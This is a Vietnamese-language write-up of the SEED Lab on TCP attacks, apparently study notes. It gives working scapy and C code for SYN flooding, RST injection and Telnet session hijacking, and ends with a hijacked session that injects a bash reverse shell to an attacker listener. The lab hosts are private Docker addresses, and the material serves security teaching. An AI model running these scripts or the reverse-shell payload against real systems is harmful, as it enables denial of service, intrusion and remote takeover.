Environment Setup

Sơ đồ mạng:

Attacker container sử dụng network_mode: host để lắng nghe tất cả các traffic.

Tất cả các container đều có tài khoản Telnet với username là seed và password là dees.

Task 1: SYN Flooding Attack

Là một loại DoS attack mà trong đó attacker gửi rất nhiều gói tin TCP có flag SYN đến một port TCP của server mà không có ý định hoàn thành việc bắt tay ba bước1. Attacker có thể thực hiện điều này bằng cách sử dụng các địa chỉ IP giả mạo.

Tấn công này sẽ làm đầy hàng đợi của server bằng các kết nối mà không có gói tin ACK trả về từ client (half-opened connection). Khi hàng đợi đầy, server sẽ không thể mở thêm bất kỳ kết nối nào nữa.

Info

Thực chất, hàng đợi mà attacker làm đầy là hàng đợi SYN. Các entry trong hàng đợi này sẽ được chuyển vào hàng đợi chấp nhận (accept queue) nếu server nhận được gói tin ACK. Accept queue sau đó sẽ gửi gói tin lên ứng dụng.

Tham khảo: SYN packet handling in the wild (cloudflare.com).

Kích thước của hàng đợi tùy thuộc vào cấu hình của hệ điều hành. Với Ubuntu, chúng ta có thể kiểm tra bằng câu lệnh sau:

$ sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128

Giá trị này sẽ phụ thuộc vào bộ nhớ mà server có.

Chúng ta có thể dùng lệnh netstat -nat để kiểm tra số lượng các half-opened connection ở trên một port đang lắng nghe. Trạng thái cho các kết nối đó là SYN-RECV. Nếu quá trình bắt tay ba bước đã được hoàn thành, trạng thái của kết nối sẽ là ESTABLISHED.

SYN Cookie Countermeasure: theo mặc định, hệ điều hành Ubuntu bật tính năng phòng chống TCP SYN flooding attack. Tính năng này có tên là SYN cookie. Trong cấu hình của server container (Host A), chúng ta đã tắt tính năng này đi:

sysctls:
	- net.ipv4.tcp_syncookies=0

Cũng có thể dùng lệnh sysctl để kiểm tra và tắt/bật tính năng:

sysctl -a | grep syncookies (Display the SYN cookie flag)
sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

Để sử dụng sysctl thì container cần đặc quyền và chúng ta đã thêm vào cấu hình privileged: true cho Host A ở trong Docker Compose file.

Task 1.1: Launching the Attack Using Python

Script sau thực hiện gửi các gói tin TCP SYN với giá trị của source IP address, source port và sequence number là ngẫu nhiên:

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
 
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip / tcp
 
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32)))  # source iP
    pkt[TCP].sport = getrandbits(16)  # source port
    pkt[TCP].seq = getrandbits(32)  # sequence number
    send(pkt, verbose=0)

Ta sẽ chạy script để tấn công vào port 23 (của Telnet) ít nhất 1 phút rồi sử dụng attacker container kết nối Telnet đến server.

Khả năng cao là việc tấn công sẽ thất bại, do các vấn đề sau:

TCP Cache

Trên Ubuntu 20.04, nếu máy X chưa bao giờ thiết lập kết nối TCP đến server thì khi SYN flooding attack xảy ra, nó sẽ không bao giờ có thể mở kết nối Telnet đến server. Tuy nhiên, nếu máy X đã mở kết nối TCP đến server trước đó thì nó sẽ trở nên “miễn nhiễm” với SYN flooding attack và có thể mở kết nối Telnet đến server khi cuộc tấn công diễn ra. Có thể nói, server ghi nhớ các kết nối thành công của một số client trong quá khứ và sử dụng chúng để thiết lập các kết nối trong tương lai cho các client này. Hành vi này không tồn tại trong Ubuntu 16.04 trở xuống.

Chi tiết hơn, đây là một cơ chế của kernel: nó sẽ dành 1/4 kích thước của hàng đợi làm bộ đệm để lưu trữ địa chỉ IP của các client đã kết nối thành công khi SYN cookie bị disable. Ví dụ, sau khi host có địa chỉ IP là 10.9.0.6 thiết lập kết nối TCP thành công đến server và ngắt kết nối thì địa chỉ này sẽ được lưu vào bộ đệm. Khi SYN flooding attack xảy ra, host có địa chỉ IP 10.9.0.6 vẫn có thể thiết lập kết nối TCP một cách bình thường do server đã giữ chỗ cho địa chỉ IP này.

Kiểm tra bộ đệm bằng lệnh sau:

$ ip tcp_metrics show
10.9.0.6 age 140.552sec cwnd 10 rtt 79us rttvar 40us source 10.9.0.5

Xóa bộ đệm bằng lệnh sau:

ip tcp_metrics flush

VM Issue

Nếu sử dụng máy ảo (VirtualBox) thì có thể gặp một vấn đề khá hay như sau:

TCP Retransmission Issue

Sau khi gửi gói tin SYN+ACK, server sẽ chờ một lúc để nhận gói tin ACK từ client. Nếu sau khoảng thời gian timeout mà không có ACK, server sẽ gửi lại gói tin SYN+ACK. Số lần gửi lại phụ thuộc vào tham số kernel sau:

$ sysctl net.ipv4.tcp_synack_retries
net.ipv4.tcp_synack_retries = 5

Theo mặc định, giá trị của nó là 5.

Sau 5 lần thử lại, server sẽ xóa half-opened connection ra khỏi hàng đợi và để lại một slot trống. Các gói tin SYN mà ta sử dụng để tấn công và các gói tin mở kết nối Telnet sẽ tranh nhau slot này. Chương trình Python của chúng ta có thể không đủ nhanh để thắng gói tin mở kết nối Telnet. Để chiến thắng, chúng ta có thể chạy nhiều chương trình tấn công song song.

Cụ thể, cần sử dụng ít nhất 3 chương trình tấn công song song để gây ra DoS:

The Size of the Queue

Số lượng tối đa các half-opened connection được lưu ở trong hàng đợi có thể làm ảnh hưởng đến tỷ lệ thành công của cuộc tấn công. Chúng ta có thể chỉnh lại kích thước hàng đợi thông qua sysctl:

sysctl -w net.ipv4.tcp_max_syn_backlog=80

Khi cuộc tấn công diễn ra, ta có thể dùng câu lệnh sau để xem số lượng các half-opended connection ở trong hàng đợi:

netstat -tna | grep SYN_RECV | wc -l

Với -t là TCP, -n là chỉ định không phân giải IP thành domain và -a là hiển thị tất cả các socket. Câu lệnh wc -l giúp đếm số dòng trong output.

Note

Lưu ý là do kernel dùng 1/4 hàng đợi làm cache (TCP Cache) nên nếu ta set kích thước là 80 thì kích thước khả dụng là 60.

Cũng có thể dùng tool ss (socket statistics) để đếm số lượng các half-opened connection của socket ở port 23:

ss -n state syn-recv sport = :23 | wc -l

Thử hạ kích thước hàng đợi xuống 80 thì chỉ cần 1 chương trình tấn công là đủ gây ra DoS:

Task 1.2: Launch the Attack Using C

Ngoài vấn đề TCP Cache, các vấn đề nêu trên đều có thể được giải quyết nếu ta gửi các gói tin SYN đủ nhanh. Chúng ta có thể đạt được điều này bằng cách sử dụng C thay vì Python.

Lab đã cung cấp sẵn đoạn code C thực hiện SYN flooding attack.

Đoạn code này có hàm sau dùng để gửi gói tin IP thông qua raw socket ở layer 3:

void send_raw_ip_packet(struct ipheader *ip)
{
  struct sockaddr_in dest_info;
  int enable = 1;
 
  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sock < 0)
  {
    fprintf(stderr, "socket() failed: %s\n", strerror(errno));
    exit(1);
  }
 
  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
             &enable, sizeof(enable));
 
  // Step 3: Provide needed information about destination.
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;
 
  // Step 4: Send the packet out.
  sendto(sock, ip, ntohs(ip->iph_len), 0,
         (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

Với hàm setsockopt() được dùng để thông báo cho kernel biết gói tin có bao gồm các IP header (IP_HDRINCL là viết tắt của IP header included).

Vòng lặp dùng để liên tục gửi gói tin SYN ở trong hàm main():

while (1)
{
	memset(buffer, 0, PACKET_LEN);
	/*********************************************************
	   Step 1: Fill in the TCP header.
	********************************************************/
	tcp->tcp_sport = rand(); // Use random source port
	tcp->tcp_dport = htons(DEST_PORT);
	tcp->tcp_seq = rand(); // Use random sequence #
	tcp->tcp_offx2 = 0x50;
	tcp->tcp_flags = TH_SYN; // Enable the SYN bit
	tcp->tcp_win = htons(20000);
	tcp->tcp_sum = 0;
	
	/*********************************************************
	   Step 2: Fill in the IP header.
	********************************************************/
	ip->iph_ver = 4;                  // Version (IPV4)
	ip->iph_ihl = 5;                  // Header length
	ip->iph_ttl = 50;                 // Time to live
	ip->iph_sourceip.s_addr = rand(); // Use a random IP address
	ip->iph_destip.s_addr = inet_addr(DEST_IP);
	ip->iph_protocol = IPPROTO_TCP; // The value is 6.
	ip->iph_len = htons(sizeof(struct ipheader) +
						sizeof(struct tcpheader));
	
	// Calculate tcp checksum
	tcp->tcp_sum = calculate_tcp_checksum(ip);
	
	/*********************************************************
	  Step 3: Finally, send the spoofed packet
	********************************************************/
	send_raw_ip_packet(ip);
}

Biên dịch chương trình rồi chạy:

gcc -o synflood synflood.c
synflood 10.9.0.5 23

Chương trình đủ nhanh để khiến cho server với kích thước hàng đợi là 128 entry rơi vào trạng thái DoS:

Sau khi bật tính năng SYN cookie, mặc dù hàng đợi đầy nhưng client vẫn có thể mở được kết nối Telnet đến server:

Task 2: TCP RST Attacks on Telnet Connections

Tấn công TCP RST có thể làm ngắt kết nối TCP giữa hai nạn nhân. Ví dụ, nếu có một kết nối Telnet giữa Host A (client) và Host B (server), attacker có thể làm giả gói tin RST gửi từ Host B đến Host A để phá hỏng kết nối này. Để tấn công thành công, attacker cần tạo ra gói tin RST giả mạo một cách chính xác.

Trong task này, ta giả sử attacker ở cùng LAN với Host A và Host B. Ngoài ra, attacker cũng có thể lắng nghe traffic giữa Host A và Host B.

Launching the Attack Manually

Trước tiên, ta theo dõi traffic khi Host A thực hiện kết nối Telnet đến Host B. Gói tin Telnet cuối cùng mà Host B gửi cho Host A có thông tin như sau:

Hệ điều hành Linux sẽ chỉ ngắt kết nối TCP nếu như sequence number của gói tin RST là sequence number tiếp theo (next sequence number) mà nó mong muốn nhận2. Trong hình trên, next sequence number là 813. Đây là giá trị tương đối, giá trị thực được tính bằng công thức sau:

sequence number (raw) + next sequence number - sequence number

Cụ thể, sequence number của gói tin RST sẽ là 1478287375 + 813 - 792.

Note

Hiệu số giữa sequence number và next sequence number cũng chính là kích thước của payload trong gói tin Telnet.

Ta viết script xây dựng gói tin RST như sau:

from scapy.all import *
from scapy.layers.inet import IP, TCP
 
IP_A = "10.9.0.5"
IP_B = "10.9.0.6"
SEQ = 1478287375 + 813 - 792
 
ip = IP(src=IP_B, dst=IP_A)
tcp = TCP(sport=23, dport=45380, flags="R", seq=SEQ, window=249)
pkt = ip/tcp
pkt.show2()
 
send(pkt, verbose=0)

Giá trị của port đích và window cũng được truy xuất từ gói tin bên trên.

Chạy script để gửi gói tin:

root@archlinux:/volumes# python3 tcp-rst.py 
###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 40
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = 0x66b3
  src       = 10.9.0.6
  dst       = 10.9.0.5
  \options   \
###[ TCP ]### 
     sport     = telnet
     dport     = 45380
     seq       = 1478287396
     ack       = 0
     dataofs   = 5
     reserved  = 0
     flags     = R
     window    = 249
     chksum    = 0xb12e
     urgptr    = 0
     options   = []

Sau khi gửi gói tin thì kết nối TCP giữa Host A và Host B đã bị ngắt thành công:

seed@c229de08e5a8:~$ Connection closed by foreign host.
root@14230cbc53d9:/#

Launching the Attack Automatically

Tấn công thực hiện kỹ thuật sniff-and-spoof.

Xây dựng script như sau:

from scapy.all import *
from scapy.layers.inet import IP, TCP
 
def spoof_pkt(pkt):
    ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
    seq_num = pkt[TCP].seq + len(pkt[TCP].payload)
    tcp = TCP(
        sport=23, dport=pkt[TCP].dport, flags="R", seq=seq_num, window=pkt[TCP].window
    )
 
    pkt = ip / tcp
    send(pkt, verbose=0)
 
 
pkt = sniff(
    iface="br-dc64fd8b10c0",
    filter="tcp and src port 23",
    prn=spoof_pkt,
)

Chạy script và mở kết nối từ Host A đến Host B thì bị ngắt ngay lập tức:

root@14230cbc53d9:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
c229de08e5a8 login: Connection closed by foreign host.
root@14230cbc53d9:/#

Mở kết nối từ Host B đến Host A cũng tương tự:

root@c229de08e5a8:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.6 LTS
14230cbc53d9 login: Connection closed by foreign host.
root@c229de08e5a8:/#

Task 3: TCP Session Hijacking

Mục tiêu của TCP session hijacking là truyền các payload độc hại vào một kết nối TCP (session) đã có sẵn giữa hai host. Nếu session này là kết nối Telnet, attacker có thể truyền vào các câu lệnh độc hại chẳng hạn như xóa một tập tin quan trọng nào đó.

Trong task này, ta cần khiến cho Telnet server thực thi một câu lệnh độc hại nào đó. Giả sử attacker container nằm trong cùng LAN với nạn nhân.

Launching the Attack Manually

Trước tiên, ta cần xem xét giá trị sequence number và ACK number của các gói tin trao đổi giữa Host A và Host B. Sau khi Host A đăng nhập vào Host B, Host B sẽ hiển thị như sau:

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.8.9-arch1-2 x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
 
To restore this content, you can run the 'unminimize' command.
Last login: Sat May 11 08:54:27 UTC 2024 from victim-10.9.0.5.net-10.9.0.0 on pts/1
seed@c229de08e5a8:~$ 

Toàn bộ output trên được Host B chuyển cho Host A thông qua 3 gói tin. Gói tin cuối cùng chứa payload là:

seed@c229de08e5a8:~$ 

Gói tin ACK mà Host A trả về cho Host B (gói tin 60):

Các thông tin:

  • Sequence number: 3053112117.
  • Next sequence number: 3053112117 (do gói tin ACK không có payload).
  • ACK number: 2921039634.

Thử nhập một ký tự vào terminal của Host A:

seed@c229de08e5a8:~$ a

Gói tin mà Host A gửi (gói tin 61) là:

Các thông tin:

  • Sequence number: 3053112117 (là giá trị của next sequence number trong gói tin 60).
  • Next sequence number có giá trị tương đối là 90 (tương ứng với 3053112117 + 90 - 89 = 3053112118).
  • ACK number: 2921039634 (như gói tin 60).

Gói tin ACK mà Host A gửi sau khi Host B trả về payload a nhằm hiển thị ra terminal của Host A (gói tin 63) là:

Các thông tin:

  • Sequence number: 3053112118 (là giá trị next sequence number trong gói tin 60).
  • Next sequence number: 3053112118 (do gói tin ACK không có payload).
  • ACK number: 2921039635 (tăng lên 1 do Host B đã trả về gói tin 62 có sequence number là 2921039634).

Summary

Như vậy, để xây dựng một gói tin bất kỳ, ta cần thiết lập giá trị cho sequence number và ACK number (thậm chí là cả window) giống với gói tin ACK cuối cùng mà Host A đã gửi cho Host B.

Đoạn script sử dụng để tấn công:

from scapy.all import *
from scapy.layers.inet import IP, TCP
 
IP_A = "10.9.0.5"
IP_B = "10.9.0.6"
SRC_PORT = 47540
SEQ = 1941551328
ACK = 3584860842
WIN = 249
 
ip = IP(src=IP_A, dst=IP_B)
tcp = TCP(sport=SRC_PORT, dport=23, flags="A", seq=SEQ, ack=ACK, window=WIN)
data = "id\n"
 
pkt = ip/tcp/data
pkt.show()
send(pkt, verbose=0)

Note

Thời điểm viết đoạn script này thì đã thay đổi TCP session nên source port, sequence number và ACK number đã bị thay đổi.

Gói tin gửi đi có dạng như sau:

Gói tin mà Host B trả lại cho Host A để nó hiển thị ra terminal:

Có thể thấy:

  • Sequence number của gói tin 98 là ACK number của gói tin 97.
  • ACK number của gói tin 98 là sequence number của gói tin 97 gửi cộng với kích thước payload (là 3).

Sau đó, Host B trả về gói tin 99 có chứa output thực thi của câu lệnh id:

Hơn thế nữa, khi Host A gửi gói tin Telnet thì Host B sẽ báo trùng ACK và dẫn đến Host A không thể sử dụng kết nối Telnet được nữa (input nhập vào không được chấp thuận và cũng không được hiển thị ra terminal):

Launching the Attack Automatically

Trước tiên, ta cho phép Host A và Host B thiết lập kết nối Telnet như bình thường.

Kế đến, chạy script sau:

from scapy.all import *
from scapy.layers.inet import IP, TCP
 
MAC_ATTACKER = "02:42:69:79:c3:75"
 
 
def spoof(pkt):
    if pkt[TCP].flags != "A":
        return
 
    ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
    tcp = TCP(
        sport=pkt[TCP].sport,
        dport=23,
        flags="A",
        seq=pkt[TCP].seq,
        ack=pkt[TCP].ack,
        window=pkt[TCP].window,
    )
    data = ";id\n"
 
    pkt = ip / tcp / data
    pkt.show()
    send(pkt, verbose=0)
 
 
pkt = sniff(
    iface="br-dc64fd8b10c0",
    filter=f"tcp and dst port 23 and not (ether src {MAC_ATTACKER})",
    prn=spoof,
)

Khi nhập bất kỳ ký tự nào vào terminal của Host A, script trên sẽ gửi gói tin giả mạo để thực thi lệnh tùy ý ở trên Host B:

Output của lệnh đã thực thi:

Task 4: Creating Reverse Shell Using TCP Session Hijacking

Để tạo ra reverse shell sử dụng bash, ta có thể dùng lệnh sau:

$ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1

Giải thích câu lệnh trên:

  • Option -i giúp bash shell chạy ở chế độ interactive. Cụ thể, nó sẽ đọc input từ standard input (stdin) và xuất output ra standard input (stdout).
  • > /dev/tcp/10.9.0.1/9090 giúp trỏ output (stdout) đến một kết nối TCP ở địa chỉ IP là 10.9.0.1 và port là 9090. Trong đó, /dev/tcp là một đường dẫn đặc biệt được hỗ trợ bởi bash giúp truy cập vào các TCP/IP stream như là tập tin.
  • 0<&1: giúp chuyển hướng stdin đếnstdout nhằm trỏ input và output vào cùng một kết nối TCP.
    • 0 là file descriptor của stdin.
    • < là để redirect input.
    • & là tham chiếu đến file descriptor có sẵn.
    • 1 là file descriptor của stdout.
  • 2>&1: giúp chuyển hướng stderr đến stdout nhằm trỏ error output vào cùng một kết nối TCP với stdinstdout.
    • 2 là file descriptor của stderr.
    • > là để redirect output.

Task này yêu cầu ta dùng kỹ thuật ở Task 3 TCP Session Hijacking nhằm tạo ra reverse shell.

Trước tiên, chạy một Netcat server trên attacker container ở port 9090:

root@archlinux:/# nc -lnv 9090
Listening on 0.0.0.0 9090

Xây dựng script tương tự như Task 3 TCP Session Hijacking nhưng thay TCP payload thành:

data = ";/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"

Tấn công vào một TCP session có sẵn, gói tin được gửi đi khi người dùng nhập một ký tự bất kỳ vào terminal là:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = None
  src       = 10.9.0.5
  dst       = 10.9.0.6
  \options   \
###[ TCP ]###
     sport     = 41290
     dport     = telnet
     seq       = 3770565753
     ack       = 1777936667
     dataofs   = None
     reserved  = 0
     flags     = A
     window    = 249
     chksum    = None
     urgptr    = 0
     options   = []
###[ Raw ]###
        load      = ';/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n'

Ngay lập tức, ta nhận được reverse shell ở attacker container:

root@archlinux:/# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 60616
seed@c229de08e5a8:~$ id
id
uid=1000(seed) gid=1000(seed) groups=1000(seed)
seed@c229de08e5a8:~$ 
list
from outgoing([[SEED Lab - TCP Attacks]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Three – Way Handshaking.

  2. tham khảo networking - RST sequence number and window size - Super User